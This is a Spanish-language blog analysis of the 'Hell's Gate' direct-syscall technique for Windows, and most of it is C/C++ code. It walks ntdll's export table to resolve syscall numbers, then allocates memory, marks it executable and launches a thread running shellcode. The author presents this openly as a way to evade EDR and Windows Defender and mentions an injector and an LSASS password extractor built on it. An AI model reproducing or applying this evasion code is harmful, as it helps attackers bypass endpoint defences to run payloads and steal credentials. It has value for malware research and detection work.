La Rueda de Ezequiel (Análisis de la Puerta del Infierno)
Lo que sucede es mi análisis de la Puerta del Infierno, un código maligno. Este código maligno contiene técnicas que le da la capacidad de ejecutar llamadas de sistema (syscalls) en el sistema de operación Windows, con el objetivo de evadir detección de EDR (Defensas de las Empresas).
Una vez completé mi análisis, creé mi propia implementación en C++ que usa llamadas de sistema (syscalls) que pertenecer adrento de ntdll.dll. Además, un método diferente de lo conocido públicamente para crear hashes. Todo esto para evadir técnicas modernas de detección para estos tipos de técnicas.
Existen, más formas de optimización, sin embargo, para ahorrar tiempo, solo dos prueba de conceptos (PoC’s) fueron creados.
- En el año 2024, un basico inyector de código que evade EDR
- En el año 2024, un LSASS extractor para recuperar contraseñas que evade Windows Defender
El extractor de LSASS puede ser optimizado para evade EDR pero, dejo esto para servir como un ejercicio.
Tabla de Contenido
Descargo de Responsabilidad
Copyright 2024 Milton Valencia Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el “Software”), a utilizar el Software sin restricción, incluyendo sin limitación los derechos a usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar, y/o vender copias del Software, y a permitir a las personas a las que se les proporcione el Software a hacer lo mismo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso se incluirán en todas las copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA “COMO ESTÁ”, SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A GARANTÍAS DE COMERCIALIZACIÓN, IDONEIDAD PARA UN PROPÓSITO PARTICULAR E INCUMPLIMIENTO. EN NINGÚN CASO LOS AUTORES O PROPIETARIOS DE LOS DERECHOS DE AUTOR SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN, DAÑOS U OTRAS RESPONSABILIDADES, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O CUALQUIER OTRO MOTIVO, DERIVADAS DE, FUERA DE O EN CONEXIÓN CON EL SOFTWARE O SU USO U OTRO TIPO DE ACCIONES EN EL SOFTWARE.
Entendiendo el Código Maligno
Empecé bajando una copia de el código que contiene la técnica proporcionado por am0nsec. Quería romper esto línea por línea, empesando con la función main().
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
Payload(&Table);
return 0x00;
}
Parece que el primer paso es “Get NTDLL”.
Get NTDLL - La Entrada del Módulo
Para comprender mejor cómo se logró esto usé el código presentado.
int main()
{
PTEB pTeb = GetThreadEnvironmentBlock();
PPEB pPeb = pTEB->ProcessEnvironmentBlock;
std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPEB->LoaderData->InMemoryOrderModuleList.Flink - 0x10);
std::cout << "[*] pLdrDataEntry: 0x" << std::hex << (uint64_t)pLdrDataEntry << std::endl;
getchar();
return 0;
}
Por el bein de tiempo estructuras (structures) sólo serán mencionado cuando es relevante. Una vez que lo ejecutamos, vemos esto:
C:\Users\developer\Desktop>hg.exe
[*] Testing on OS Version: 10
[*] pLdrDataEntry: 0x26f94d06020
Pero… qué es esto? Si nos detenemos en WinDbg, podemos llegar al PEB usando !process 0 0 hg.exe. Donde debemos concentrarnos es en el InMemoryOrderModuleList.
Podemos ver que esto es muy similar a lo que vimos antes. Además, si restamos 0x10 de esta dirección, vemos que son similares.
A primer vista, esto no los dice mucho. Sin embargo, cada entrada de la lista en realidad está envuelta en una estructura de LDR_DATA_TABLE_ENTRY. Entonces, podemos obtener más contexto sacando la estructura ubicada en el puntero de FLINK.
La información presentada confirma que esta es la entrada al módulo NTDLL. En esencia esto:
- Utilice el registro GS para obtener la dirección de el TEB
- El TEB contiene la dirección para el PEB
- Con el PEB podemos obtener la dirección a la estructura PEB_LDR_DATA
- Usando el PEB_LDR_DATA podemos obtener el InMemoryOrderModuleList
Podemos proceder a implementar código para recorrer la lista doblemente enlazada utilizando nuestro nuevo conocimiento. Es aconsejable hacerlo asi, porque no tenemos garantía de que ntdll.dll siempre estará cargado a distancia -0x10.
int main()
{
PTEB pTeb = NULL;
PPEB pPeb = NULL;
PLIST_ENTRY pEntry = NULL;
PLIST_ENTRY pHeadEntry = NULL;
PPEB_LDR_DATA pLdrData = NULL;
PLDR_DATA_TABLE_ENTRY pLdrEntry = NULL;
PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
/* Get the TEB */
pTeb = GetThreadEnvironmentBlock();
/* Get the PEB */
pPeb = pTeb->ProcessEnvironmentBlock;
/* OS Version Detection Omitted */
std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;
/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */
pLdrData = pPeb->LoaderData;
/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains
the loaded modules for the process */
pHeadEntry = &pLdrData->InMemoryOrderModuleList;
/* Iterate over the InMemoryOrderModuleList */
std::wcout << L"\nInMemoryOrderModuleList\n" << std::endl;
std::wcout << L"\tBase\t\t\tModule\n" << std::endl;
for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)
{
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pEntry;
std::wcout << L"\t"
<< std::hex << pLdrDataTableEntry->DllBase << L"\t"
<< pLdrDataTableEntry->FullDllName.Buffer
<< std::endl;
}
getchar();
return 0;
}
Que bueno, podemos ver que nuestro código funciona.
Sin embargo, todavía necesitamos que devuelva el valor original del código que bajamos. este valor es la dirección de la LIST_ENTRY. Modifiquemos nuestro código una vez más, esta vez creando una función para obtener la entrada dinámicamente.
Al escribir esto, observé que el último código que escribimos era incorrecto para analizar cada entrada. Para alcanzar adecuadamente una entrada LDR_DATA_TABLE_ENTRY, nosotros debemos restar 0x10 del módulo que encontramos porque la dirección de el Flink NO ES el primer miembro de la estructura.
PLDR_DATA_TABLE_ENTRY GetNtdllTableEntry()
{
PTEB pTeb = NULL;
PPEB pPeb = NULL;
DWORD dwModuleHash = 0x00;
DWORD dwDllNameSize = 0x00;
DWORD dwRorOperations = 0x00;
PLIST_ENTRY pEntry = NULL;
PLIST_ENTRY pHeadEntry = NULL;
PPEB_LDR_DATA pLdrData = NULL;
PLDR_DATA_TABLE_ENTRY pLdrEntry = NULL;
PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
/* Get the TEB */
pTeb = GetThreadEnvironmentBlock();
/* Get the PEB */
pPeb = pTeb->ProcessEnvironmentBlock;
/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */
pLdrData = pPeb->LoaderData;
/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains
the loaded modules for the process */
pHeadEntry = &pLdrData->InMemoryOrderModuleList;
/* Iterate over the InMemoryOrderModuleList and identify NTDLL */
for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)
{
/* If I understood correctly we must subtract 16 from the ntdll.dll entry in the InMemoryModuleList. This
is neccessary because the Flink is not the first member of the LDR_DATA_TABLE_ENTRY structure, so when
subtracting 0x10 we get the start of the structure for ntdll.dll */
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((std::int64_t)pEntry-0x10);
/* Calculate a hash for the given DLL name */
dwDllNameSize = (pLdrDataTableEntry->BaseDllName.Length) / sizeof(wchar_t);
dwRorOperations = 0x00;
dwModuleHash = 0x00;
/* Hash the DLL name for identification */
for (int i = 0; i < dwDllNameSize; i++)
{
dwModuleHash = dwModuleHash + ((uint32_t)pLdrDataTableEntry->BaseDllName.Buffer[i]);
if (dwRorOperations < (dwDllNameSize - 1)) {
dwModuleHash = _rotr(dwModuleHash, 0xd);
}
dwRorOperations++;
}
std::wprintf(L"[*] Found %ws (HASH: 0x%lx, ENTRY: 0x%lx)\n", pLdrDataTableEntry->BaseDllName.Buffer,
dwModuleHash,
(std::int64_t)pLdrDataTableEntry);
if (dwModuleHash == NTDLL_HASH)
{
std::wprintf(L"[+] Located ntdll: 0x%x\n", pLdrDataTableEntry);
break;
}
}
return pLdrDataTableEntry;
}
Obtener la tabla de direcciones de exportación (EAT) para NTDLL
El paso que sigue es obtener la tabla de dirección de exportación de NTDLL.
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
Mirando el código, esta función fue creada por el autor de la Puerta del Infierno, vamos a mirar ese código.
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
Veamos esto en WinDbg.
Una vez que hayamos obtenido el DataDirectory podemos conseguir la dirección virtual de la tabla de dirección de exportación desde el primer índice dentro del DataDirectory. Podemos confirmar esto con !dh ntdll.dll -f.
Reimplementemos esto rápidamente:
VOID GetExportAddressTable(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory)
{
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
PIMAGE_NT_HEADERS pImageNtHeaders = NULL;
/* Verify that the DOS header is valid */
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
std::wcout << L"[-] Failed to detect DOS header\n";
return;
}
/* Get a pointer to the IMAGE_NT_HEADER structure of the module (ntdll.dll) */
pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
std::wcout << L"[-] Failed to obtain pointer to IMAGE_NT_HEADERS\n";
return;
}
/* Obtain the address of the EAT */
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return;
}
Obteniendo Entendimiento de GetVxTableEntry()
El siguiente paso que vemos es una declaración de una estructura VX_TABLE junto con una llamada a la función GetVxTableEntry().
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Analicemos la función GetVxTableEntry(). Estas tres primeras líneas:
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
Lamentablemente este código no está disponible gratuitamente. Por suerte, pude encontrar la definición de la estructura en ReactOS y malware.in. Usando esto podemos verificar manualmente que esto sea cierto usando WinDbg.
typedef struct _IMAGE_EXPORT_DIRECTORY
{
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
PDWORD *AddressOfFunctions;
PDWORD *AddressOfNames;
PWORD *AddressOfNameOrdinals;
}
IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Usando esta estructura podemos comenzar a mapear cómo se usa exactamente esta estructura adentro del código maligno.
Las líneas que siguen tienen un bucle interesante.
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
En breve:
- Primero, vemos que estamos iterando sobre el número de nombres en el IMAGE_EXPORT_DIRECTORY (
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {) - Luego, iteramos sobre cada nombre de función tal como vimos en WinDBG
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); - Por último, obtenemos la dirección de la función como se vio en el código pasado
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
Si reimplementamos esto en nuestro código veremos esto:
La siguiente línea es una if condición. Curiosamente, vemos la introducción de una nueva función djb2().
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
Además, volvemos a ver nuestro dwHash. Desde mi punto de vista esto no parece ser necesario. Podemos usar cualquier función para crear la hash… pero por ahora dejaremos la función como está diseñada.
El bloque de código que sigue tiene un tamaño decente, vemos algunas verificaciones y finalmente buscamos códigos de operación 0x4c, 0x8bx 0xd1, 0xb8, 0x00, and 0x00.
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
Si miramos esto con mi herramienta sickle vemos que esto si es mov r10, rcx. Sin embargo, por el resultado, es posible que podamos simplemente usar 0x4c, 0x8b, and 0xd1.
┌──(wetw0rk㉿kali)-[/opt/Sickle/src]
└─$ python3 sickle.py -m asm_shell -f c
[*] ASM Shell loaded for x64 architecture
sickle > d 4c8bd1b80000
4c8bd1 -> mov r10, rcx
Si actualizamos el código una vez más
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
WORD cx = 0x00;
WORD cw = 0x00;
PCHAR pczFunctionName = NULL;
PVOID pFunctionAddress = NULL;
for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)
{
pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
/* We found the target function */
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
while (TRUE) {
printf("[*] Found target function: %s (0x%p)\n", pczFunctionName, pFunctionAddress);
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
printf("[+] Syscall found @{0x%p}\n", (PVOID)((intptr_t)pFunctionAddress + cw));
getchar();
}
cw++;
}
}
}
return TRUE;
}
Nosotras podemos ver que la llamada del sistema fue encontrado.
Vemos que si ubicamos la secuencia de bytes/instrucciones escribimos la lamada del sistema en la estructura VX_TABLE.
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
No estoy seguro de por qué debemos meter lo así, pero en WinDBG podemos ver que cuando leemos este valor es sencillo.
Ahora hemos implementado nuestra propia versión de esta función para comprender sus operaciones subyacentes.
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
BYTE high = 0x00;
BYTE low = 0x00;
WORD cx = 0x00;
WORD cw = 0x00;
PCHAR pczFunctionName = NULL;
PVOID pFunctionAddress = NULL;
for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)
{
pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
/* We found the target function */
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
/* Quick and dirty fix in case the function has been hooked */
while (TRUE) {
/* Check if a syscall instruction has been reached, if so we are too deep into the function */
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
/* Check if a ret instruction has been reached, if so we read to deep into the function */
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
high = *((PBYTE)pFunctionAddress + 5 + cw);
low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
printf("[*] %s syscall start found @{0x%p}\n", pczFunctionName, (PVOID)((intptr_t)pFunctionAddress + cw));
printf("\t[*] High: 0x%x\n", high);
printf("\t[*] Low: 0x%x\n", low);
printf("\t[*] Syscall: 0x%x\n", pVxTableEntry->wSystemCall);
break;
}
cw++;
}
}
}
return TRUE;
}
Con eso podemos introducir el resto de la función main().
vxTable.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtAllocateVirtualMemory))
return 0x01;
vxTable.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtCreateThreadEx))
return 0x1;
vxTable.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtProtectVirtualMemory))
return 0x1;
vxTable.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtWaitForSingleObject))
return 0x1;
Obteniendo Entendimiento de Payload()
Ahora estamos en la llamada final de la función main().
Payload(&Table);
Una vez más, esta funciones es implementa por el autor.
Sin embargo, vemos tres funciones más interesantes: HellsGate, HellsDescent, and VxMoveMemory.
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
Obteniendo Entendimiento de HellsGate
Podemos seguir adelante e ignorar la operación de VxMoveMemory - esto es solo una implementación personalizada de memcpy() creado por el autor. Sin embargo, podemos empezar a comprender las operaciones de la primera llamada - HellsGate.
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
Coloquemos una DebugBreak(); antes de esta llamada.
DebugBreak();
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
Una vez corriendo en WinDBG, podemos ver que estamos a punto de ingresar a la llamada a HellsGate.
Una vez que estemos a dentro, podremos ver que ejecutaremos las llamadas al sistema que resolvimos dinámicamente.
Obteniendo Entendimiento de HellsDescent
At this point our assembler holds the number call of the system para NtAllocateVirtualMemory dentro de la sección .data del binario. El siguiente paso es llamar HellsDescent, aquí es donde ejecutamos la llamada del sistema.
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
Cuando lleguemos a HellsDescent podemos ver que estamos moviendo RCX a R10. Normalmente, al emitir una llamada a una función, los argumentos se envían en el orden RCX, RDX, R8, R9 cualquier argumento adicional se coloca en el stack a una distancia de 0x20. Si miramos el prototipo de la función NtAllocateMemory() rápidamente vemos que todos estos argumentos simplemente no se pueden almacenar dentro de RCX a menos que RCX sea un puntero a un objeto.
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
Esto se confirma además al deshacerse de los estados de registro.
En este punto tenemos un conocimiento sólido de cómo HellsGate opera :)
- Lea el InMemoryOrderModuleList y obtener la dirección base de NTDLL
- Obtener la dirección del EAT for NTDLL
- Lea la EAT buscando llamadas del sistema
- Ejecutar llamadas del sistema.
- Ganancia
PoC | VALM - (Tronos de Ezequiel)
Hemos aprendido el funcionamiento interno de la Puerta del Infierno, es importante saber que esto no habría sido posible sin el conocimiento fundamental de la llamada al sistema.
Los cambios que he implementado son los siguientes
- Las llamadas al sistema se generan dinámicamente.
- Reutilización de código, vivimos de la tierra y aprovechamos ntdll.dll para realizar llamadas al sistema por nosotros. Esto hace que las operaciones parezcan normales evadiendo EDR.
- Hemos vuelto a implementar nuestra propia técnica de hash para el descubrimiento de rutinas de funciones.
- Le dimos un nombre que es fuerte.
Ezequiel 10:10: En cuanto a su apariencia, las cuatro tenían la misma semejanza, como si una rueda estuviera dentro de la otra rueda.
Recursos
http://malwareid.in/unpack/unpacking-basics/export-address-table-and-dll-hijacking
https://doxygen.reactos.org/de/d20/struct__IMAGE__EXPORT__DIRECTORY.html
https://learn.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-containing_record
https://davidesnotes.com/articles/1/?page=1#
https://gist.github.com/Spl3en/9c0ea329bb7878df9b9b
https://redops.at/en/blog/exploring-hells-gate
http://www.rohitab.com/discuss/topic/42191-c-peb-ldr-inmemoryordermodulelist-flink-dllbase-dont-get-the-good-address/
https://www.vergiliusproject.com/
https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
https://www.youtube.com/watch?v=elA_eiqWefw&t=2s